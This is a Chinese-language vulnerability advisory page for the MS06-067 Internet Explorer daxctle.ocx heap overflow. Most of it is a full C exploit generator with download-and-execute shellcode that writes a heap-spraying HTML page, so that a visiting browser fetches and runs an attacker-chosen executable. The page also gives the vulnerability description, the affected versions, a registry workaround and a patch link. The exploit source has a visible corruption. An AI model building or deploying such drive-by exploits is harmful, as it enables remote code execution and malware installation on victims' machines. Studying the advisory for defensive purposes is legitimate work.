网管联盟 | 网管论坛 | 网管u家 | 网管博客 | 网管软件 | 网管求职 | 小游戏 | 网管搜索 | 网管原创 | 网管聚合 | 网管读摘 | 网管焦点 | 世界素材 | 会员投稿 | 会员中心 
中国网管联盟
Windows Linux Cisco 网络技术 数据库 黑客攻防 DotNet Java PHP 认证 新闻资讯 服务器 存储资讯 网络设备 网管学堂 技术专题 焦点 网吧频道
 当前位置: > bitsCN.com > 网络攻防 > 安全漏洞 > Microsoft > Microsoft IE COM对象实例化daxctle.ocx堆破坏漏洞  

Microsoft IE COM对象实例化daxctle.ocx堆破坏漏洞

2006-11-18  作者:网管整理  来源:bitsCN.com  点评 投稿 收藏


涉及程序:
Microsoft IE COM
 
描述:
Microsoft IE COM对象实例化daxctle.ocx堆破坏漏洞(MS06-067)
 
详细:
Internet Explorer是微软发布的非常流行的WEB浏览器。

Internet Explorer在处理某些COM对象的畸形参数时存在堆破坏漏洞,远程攻击者可能利用此漏洞在用户机器上执行任意指令。

当Internet Explorer在处理DirectAnimation.PathControl COM对象(daxctle.ocx)的Spline方式时,如果将第一个参数设置为0xffffffff的话就会触发堆溢出漏洞,导致拒绝服务或执行任意指令。

<*来源:nop (nop@xsec.org)

链接:(http://www.xsec.org/index.php?module=releases&act=view&type=1&id=19
 (http://www.kb.cert.org/vuls/id/813588
 (http://secunia.com/advisories/21910
 (http://www.microsoft.com/technet/security/bulletin/ms06-067.mspx
 (http://www.us-cert.gov/cas/techalerts/TA06-318A.html
*>

受影响系统:
Microsoft Internet Explorer 6.0 SP1
Microsoft Internet Explorer 6.0
Microsoft Internet Explorer 5.0.1 SP4

网管联盟bitsCN_com


 
 
攻击方法:
警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*
*-----------------------------------------------------------------------
*
* daxctle2.c - Internet Explorer COM Object Heap Overflow Download Exec
Exploit
* !!! 0day !!! Public Version !!!
*
* Copyright (C) 2006 XSec All Rights Reserved.
*
* Author : nop
* : nop#xsec.org
* : http://www.xsec.org
* :
* Tested : Windows 2000 Server SP4 CN
* : + Internet Explorer 6.0 SP1
* : Windows XP SP2 CN
* : + Internet Explorer 6.0 SP1 (You need some goodluck! :-)
* :
* Complie : cl daxctle2.c
* :
* Usage :d:\>daxctle2
* :
* :Usage: daxctle <URL> [htmlfile]
* :
* :d:\>daxctle2 http://xsec.org/xxx.exe xxx.htm
* :
*
*------------------------------------------------------------------------
*/

#include <stdio.h>
#include <stdlib.h>

FILE *fp = NULL;
网管u家u.bitsCN.com

char *file = "xsec.htm";
char *url = NULL;

// Download Exec Shellcode by nop
unsigned char sc[] =
"\xe9\xa3\x00\x00\x00\x5f\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b"
"\x70\x1c\xad\x8b\x68\x08\x8b\xf7\x6a\x04\x59\xe8\x43\x00\x00\x00"
"\xe2\xf9\x68\x6f\x6e\x00\x00\x68\x75\x72\x6c\x6d\x54\xff\x16\x95"
"\xe8\x2e\x00\x00\x00\x83\xec\x20\x8b\xdc\x6a\x20\x53\xff\x56\x04"
"\xc7\x04\x03\x5c\x61\x2e\x65\xc7\x44\x03\x04\x78\x65\x00\x00\x33"
"\xc0\x50\x50\x53\x57\x50\xff\x56\x10\x8b\xdc\x50\x53\xff\x56\x08"
"\xff\x56\x0c\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78\x03\xf5\x56\x8b"
"\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33\xdb\x0f\xbe\x10"
"\x3a\xd6\x74\x08\xc1\xcb\x0d\x03\xda\x40\xeb\xf1\x3b\x1f\x75\xe7"
"\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd\x8b"
"\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\x58\xff\xff\xff\x8e\x4e\x0e"
"\xec\xc1\x79\xe5\xb8\x98\xfe\x8a\x0e\xef\xce\xe0\x60\x36\x1a\x2f" 网管论坛bbs_bitsCN_com
"\x70";

char * header =
"<html>\n"
"<head>\n"
"<title>XSec.org</title>\n"
"</head>\n"
"<body>\n"
"<script>\n"
"shellcode = unescape(\"%u4343\"+\"%u4343\"+\"%u4343\" + \n";

// Change this script by yourself.
char * footer =
"bigbk = unescape(\"%u0D0D%u0D0D\");\n"
"headersize = 20;\n"
"slackspace = headersize + shellcode.length\n"
"while (bigbk.length < slackspace) bigbk += bigbk;\n"
"fillbk = bigbk.substring(0, slackspace);\n"
"bk = bigbk.substring(0, bigbk.length-slackspace);\n"
// bk = nop+nop ;-)
"while(bk.length+slackspace < 0x40000) bk = bk + bk + fillbk;\n"
"memory = new Array();\n"
"for (i=0;i<800;i++) memory[i] = bk + shellcode;\n"
"var target = new ActiveXObject(\"DirectAnimation.PathControl\");\n" 网管网www_bitscn_com
"target.KeyFrame(0x7fffffff, new Array(1), new Array(65535));\n"
"</script>\n"
"</body>\n"
"</html>\n";

// print unicode shellcode
void PrintUc(char *lpBuff, int buffsize)
{
int i,j;
char *p;
char msg[4];

for(i=0;i<buffsize;i+=2)
{
if((i%16)==0)
{
if(i!=0)
{
printf("\"\n\"");
fprintf(fp, "%s", "\" +\n\"");
}
else
{
printf("\"");
fprintf(fp, "%s", "\"");
}
}

printf("%%u%0.4x",((unsigned short*)lpBuff)[i/2]);

fprintf(fp, "%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
}


printf("\";\n");
fprintf(fp, "%s", "\");\n");


fflush(fp);
}

void main(int argc, char **argv)
{
unsigned char buf[1024] = ;

int sc_len = 0;


if (argc < 2) 网管论坛bbs_bitsCN_com
{
printf("Internet Explorer COM Object Remote Heap Overflow Download Exec
Exploit\n");
printf("Code by nop nop#xsec.org, Welcome to http://www.xsec.org\n");
//printf("!!! 0Day !!! Please Keep Private!!!\n");
printf("\r\nUsage: %s <URL> [htmlfile]\r\n\n", argv[0]);
exit(1);
}

url = argv[1];

//if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url)
< 10 || strlen(url) > 60)
if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) < 10)
{
//printf("[-] Invalid url. Must start with 'http://','ftp://' and < 60
bytes.\n");
printf("[-] Invalid url. Must start with 'http://','ftp://'\n");
return;
}

printf("[+] download url:%s\n", url);

if(argc >=3) file = argv[2];
printf("[+] exploit file:%s\n", file);

fp = fopen(file, "w"); 网管bitscn_com
if(!fp)
{
printf("[-] Open file error!\n");
return;
}

// print html header
fprintf(fp, "%s", header);
fflush(fp);

// print shellcode
memset(buf, 0, sizeof(buf));
sc_len = sizeof(sc)-1;
memcpy(buf, sc, sc_len);
memcpy(buf+sc_len, url, strlen(url));

sc_len += strlen(url)+1;
PrintUc(buf, sc_len);

// print html footer
fprintf(fp, "%s", footer);
fflush(fp);

printf("[+] exploit write to %s success!\n", file);
}
 
 
解决方案:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 禁止在Internet Explorer中运行Microsoft DirectAnimation Path ActiveX控件。请将以下文本粘贴于记事本等文本编辑器中。然后,使用.reg文件扩展名保存文件:
 
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\]
"Compatibility Flags"=dword:00000400
网管论坛bbs_bitsCN_com


您可以通过双击此.reg文件将其应用到各个系统。还可以使用组策略跨域应用该文件。
 
* 将Internet和本地Intranet安全区域设置设为“高”,以便在这些区域中运行ActiveX控件和活动脚本之前进行提示。
* 将Internet Explorer配置为在Internet和本地Intranet安全区域中运行ActiveX控件之前进行提示。

厂商补丁:

Microsoft
---------
Microsoft已经为此发布了一个安全公告(MS06-067)以及相应补丁:
MS06-067:Cumulative Security Update for Internet Explorer (922760)
链接:(http://www.microsoft.com/technet/security/bulletin/ms06-067.mspx

TAGs   破坏   漏洞   实例   对象   x00   Internet   Explorer   x8b   url      
 上一篇:Microsoft Windows Workstation服务NetpManageIPCConnect远   下一篇:Microsoft XML核心服务XMLHTTP控件内存破坏漏洞
Microsoft IE COM对象实例化daxctle.ocx堆破坏漏洞 评论:
loading.. 评论加载中…
评论:请自觉遵守互联网相关政策法规,评论不得超过250字。

验证码: 注册用户
本类热门排行:
最新推荐文章:
网管论坛交流: